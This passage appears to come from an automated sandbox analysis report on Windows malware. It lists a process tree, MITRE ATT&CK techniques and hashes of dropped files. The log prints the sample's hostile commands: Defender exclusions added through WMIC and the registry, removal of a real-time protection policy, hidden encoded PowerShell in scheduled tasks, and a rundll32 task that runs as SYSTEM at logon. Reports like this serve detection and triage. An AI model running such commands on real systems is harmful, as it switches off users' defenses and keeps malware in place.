  schtasks /DELETE /F /TN "gxFBJtRJY"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2816
- C:\Windows\SysWOW64\forfiles.exe
  "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"
  2⤵
  - Indirect Command Execution
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2004
- - C:\Windows\SysWOW64\cmd.exe
    /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2984
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
      4⤵
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2840
    - - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:3024
- C:\Windows\SysWOW64\cmd.exe
  cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\OnhNpPaMzJMsBlOt" /t REG_DWORD /d 0 /reg:32
  2⤵
  PID:2344
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\OnhNpPaMzJMsBlOt" /t REG_DWORD /d 0 /reg:32
    3⤵
    - Windows security bypass
    - System Location Discovery: System Language Discovery
    PID:3008
- C:\Windows\SysWOW64\cmd.exe
  cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\OnhNpPaMzJMsBlOt" /t REG_DWORD /d 0 /reg:64
  2⤵
  - System Location Discovery: System Language Discovery
  PID:708
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\OnhNpPaMzJMsBlOt" /t REG_DWORD /d 0 /reg:64
    3⤵
    - Windows security bypass
    - System Location Discovery: System Language Discovery
    PID:2176
- C:\Windows\SysWOW64\cmd.exe
  cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\OnhNpPaMzJMsBlOt" /t REG_DWORD /d 0 /reg:32
  2⤵
  PID:2864
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\OnhNpPaMzJMsBlOt" /t REG_DWORD /d 0 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1356
- C:\Windows\SysWOW64\cmd.exe
  cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\OnhNpPaMzJMsBlOt" /t REG_DWORD /d 0 /reg:64
  2⤵
  PID:1680
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\OnhNpPaMzJMsBlOt" /t REG_DWORD /d 0 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1872
- C:\Windows\SysWOW64\cmd.exe
  cmd /C copy nul "C:\Windows\Temp\OnhNpPaMzJMsBlOt\FiChuSSU\NBpjziWraToRcTdL.wsf"
  2⤵
  PID:2312
- C:\Windows\SysWOW64\wscript.exe
  wscript "C:\Windows\Temp\OnhNpPaMzJMsBlOt\FiChuSSU\NBpjziWraToRcTdL.wsf"
  2⤵
  PID:1068
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\FGzQmVBDU" /t REG_DWORD /d 0 /reg:32
    3⤵
    - Windows security bypass
    PID:2872
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\FGzQmVBDU" /t REG_DWORD /d 0 /reg:64
    3⤵
    - Windows security bypass
    - System Location Discovery: System Language Discovery
    PID:2096
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\WgvytFsLYgBOZHOrTkR" /t REG_DWORD /d 0 /reg:32
    3⤵
    - Windows security bypass
    - System Location Discovery: System Language Discovery
    PID:1064
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\WgvytFsLYgBOZHOrTkR" /t REG_DWORD /d 0 /reg:64
    3⤵
    - Windows security bypass
    - System Location Discovery: System Language Discovery
    PID:640
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\XCoeaKLADIUn" /t REG_DWORD /d 0 /reg:32
    3⤵
    - Windows security bypass
    PID:112
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\XCoeaKLADIUn" /t REG_DWORD /d 0 /reg:64
    3⤵
    - Windows security bypass
    PID:2912
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\eQklilqgHwOfC" /t REG_DWORD /d 0 /reg:32
    3⤵
    - Windows security bypass
    PID:1296
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\eQklilqgHwOfC" /t REG_DWORD /d 0 /reg:64
    3⤵
    - Windows security bypass
    - System Location Discovery: System Language Discovery
    PID:2064
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qpcixqkJzVDU2" /t REG_DWORD /d 0 /reg:32
    3⤵
    - Windows security bypass
    PID:1604
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qpcixqkJzVDU2" /t REG_DWORD /d 0 /reg:64
    3⤵
    - Windows security bypass
    PID:1748
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\NpSuaNqPYDJSGZVB" /t REG_DWORD /d 0 /reg:32
    3⤵
    - Windows security bypass
    - System Location Discovery: System Language Discovery
    PID:2056
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\NpSuaNqPYDJSGZVB" /t REG_DWORD /d 0 /reg:64
    3⤵
    - Windows security bypass
    PID:2184
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    - Windows security bypass
    - System Location Discovery: System Language Discovery
    PID:1580
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    - Windows security bypass
    - System Location Discovery: System Language Discovery
    PID:1700
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\kownoHBJhKbQorKWi" /t REG_DWORD /d 0 /reg:32
    3⤵
    - Windows security bypass
    - System Location Discovery: System Language Discovery
    PID:2236
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\kownoHBJhKbQorKWi" /t REG_DWORD /d 0 /reg:64
    3⤵
    - Windows security bypass
    - System Location Discovery: System Language Discovery
    PID:2264
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\OnhNpPaMzJMsBlOt" /t REG_DWORD /d 0 /reg:32
    3⤵
    - Windows security bypass
    PID:2304
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\OnhNpPaMzJMsBlOt" /t REG_DWORD /d 0 /reg:64
    3⤵
    - Windows security bypass
    PID:2100
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\FGzQmVBDU" /t REG_DWORD /d 0 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1832
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\FGzQmVBDU" /t REG_DWORD /d 0 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1708
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\WgvytFsLYgBOZHOrTkR" /t REG_DWORD /d 0 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2684
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\WgvytFsLYgBOZHOrTkR" /t REG_DWORD /d 0 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2636
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\XCoeaKLADIUn" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2640
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\XCoeaKLADIUn" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2592
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\eQklilqgHwOfC" /t REG_DWORD /d 0 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2072
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\eQklilqgHwOfC" /t REG_DWORD /d 0 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3056
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qpcixqkJzVDU2" /t REG_DWORD /d 0 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2508
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qpcixqkJzVDU2" /t REG_DWORD /d 0 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2576
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\NpSuaNqPYDJSGZVB" /t REG_DWORD /d 0 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3000
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\NpSuaNqPYDJSGZVB" /t REG_DWORD /d 0 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1816
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1288
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:320
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\kownoHBJhKbQorKWi" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2560
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\kownoHBJhKbQorKWi" /t REG_DWORD /d 0 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:600
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\OnhNpPaMzJMsBlOt" /t REG_DWORD /d 0 /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2728
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\OnhNpPaMzJMsBlOt" /t REG_DWORD /d 0 /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:484
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "gMUNDsYtY" /SC once /ST 07:15:29 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
  2⤵
  - System Location Discovery: System Language Discovery
  - Scheduled Task/Job: Scheduled Task
  PID:308
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "gMUNDsYtY"
  2⤵
  PID:2768
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "gMUNDsYtY"
  2⤵
  PID:1512
- C:\Windows\SysWOW64\cmd.exe
  cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1356
- - C:\Windows\SysWOW64\reg.exe
    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2084
- C:\Windows\SysWOW64\cmd.exe
  cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1872
- - C:\Windows\SysWOW64\reg.exe
    REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1148
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "gfYySKQepeGPdRmOL"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2312
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "gfYySKQepeGPdRmOL"
  2⤵
  PID:1268
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "gfYySKQepeGPdRmOL2"
  2⤵
  PID:2872
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "gfYySKQepeGPdRmOL2"
  2⤵
  PID:912
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "lBNssezkZSTRXahrB"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:568
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "lBNssezkZSTRXahrB"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1716
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "lBNssezkZSTRXahrB2"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1116
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "lBNssezkZSTRXahrB2"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:576
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "nJveATwKjxiGMiGqjwn"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2348
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "nJveATwKjxiGMiGqjwn"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2180
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "nJveATwKjxiGMiGqjwn2"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1596
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "nJveATwKjxiGMiGqjwn2"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:988
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "UgrzuIQeYIzmXFucJJG"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2408
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "UgrzuIQeYIzmXFucJJG"
  2⤵
  PID:2340
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "UgrzuIQeYIzmXFucJJG2"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1760
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "UgrzuIQeYIzmXFucJJG2"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1300
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\FGzQmVBDU\pbQASK.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "UzeKAwGyzqkhqRo" /V1 /F
  2⤵
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Scheduled Task/Job: Scheduled Task
  PID:2260
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "RlrClFEiCDIAHhY"
  2⤵
  PID:2948
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "RlrClFEiCDIAHhY"
  2⤵
  PID:1452
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "RlrClFEiCDIAHhY2"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2264
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "RlrClFEiCDIAHhY2"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2888
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "rjQTlhFSLxNXGo"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2100
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "rjQTlhFSLxNXGo"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1832
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "llPwLaUEGhLCR"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1708
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "llPwLaUEGhLCR"
  2⤵
  PID:2384
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "llPwLaUEGhLCR2"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2532
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "llPwLaUEGhLCR2"
  2⤵
  PID:2604
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "UzeKAwGyzqkhqRo2" /F /xml "C:\Program Files (x86)\FGzQmVBDU\SyEraSL.xml" /RU "SYSTEM"
  2⤵
  - System Location Discovery: System Language Discovery
  - Scheduled Task/Job: Scheduled Task
  PID:1576
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /END /TN "UzeKAwGyzqkhqRo"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1272
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "UzeKAwGyzqkhqRo"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2372
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "zkunOwhAULIHXb" /F /xml "C:\Program Files (x86)\qpcixqkJzVDU2\ymcolZg.xml" /RU "SYSTEM"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2368
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "yaQNivpiFKiYX2" /F /xml "C:\ProgramData\NpSuaNqPYDJSGZVB\eIlnsgi.xml" /RU "SYSTEM"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2444
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "lBNssezkZSTRXahrB2" /F /xml "C:\Program Files (x86)\WgvytFsLYgBOZHOrTkR\teQakPT.xml" /RU "SYSTEM"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2940
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "UgrzuIQeYIzmXFucJJG2" /F /xml "C:\Program Files (x86)\eQklilqgHwOfC\xgMioyQ.xml" /RU "SYSTEM"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2260
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2400 -s 236
  2⤵
  - Program crash
  PID:2240

C:\Windows\system32\taskeng.exe
taskeng.exe {CBCAD39C-75F3-4DA5-82F7-B3C99A7E2B03} S-1-5-21-3063565911-2056067323-3330884624-1000:KHBTHJFA\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:3052
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1884
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1060
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:600
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:2316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2288
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1100

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:2224

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:788

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:2832

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indirect Command Execution

T1202

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\FGzQmVBDU\SyEraSL.xml

Filesize
2KB

MD5
3765b9fe0b217d1955a6da8845f08459

SHA1
8e83a4306fda7c2d0febd10b3c2856197723cc72

SHA256
a8526aea33951fdfd2bb865f09512a2a72c459589f183a96ac53cc3e4a75e021

SHA512
325ab2d298eb9d492358374fdd165a5933a7c3738cd6f3bb9611f4dee07c9606a25588e816469361b4c4a534a827d741af4a4b3eb6e93b20ab217d9221f57287

Download Submit
C:\Program Files (x86)\WgvytFsLYgBOZHOrTkR\teQakPT.xml

Filesize
2KB

MD5
77cf803d7e639b16546adc87a7846189

SHA1
e5ee904098278498e7ee7abe9eaa6fea81652d16

SHA256
59bd27e6e64e816068c2a5df6cc1fe5d3c63db6c3997e13146ad5707e1085378

SHA512
c8b2c5e07dc88105984c8e9978813bf0f590f04f69db76ee16a8375d1baf4204bff4561f8df6d848937b0afd96a140506b9140dbed4a988c19499f06a56ad32b

Download Submit
C:\Program Files (x86)\eQklilqgHwOfC\xgMioyQ.xml

Filesize
2KB

MD5
f8214d14b4cf89e498e35f1749f1cfc5

SHA1
0cd9d6a8ea49f8bcd54420aaf836426bf0343622

SHA256
2758f6a43b71f8a7f39df6e41f5a7927c677c4f76b56f17db5466267bfef2151

SHA512
f47b730efbb06345d4a215bf83aa628ca5c01bb27296a54c74c3c807465d6dda2b12b3e85b6313de964604561ccbd83890eabeaf7425e1ff2f9ce2be419ba80f

Download Submit
C:\Program Files (x86)\qpcixqkJzVDU2\ymcolZg.xml

Filesize
2KB

MD5
c4b7f436e998602a578556fb24278f4a

SHA1
a3cefe1d152aad0e71ee226962115b87dd239ebf

SHA256
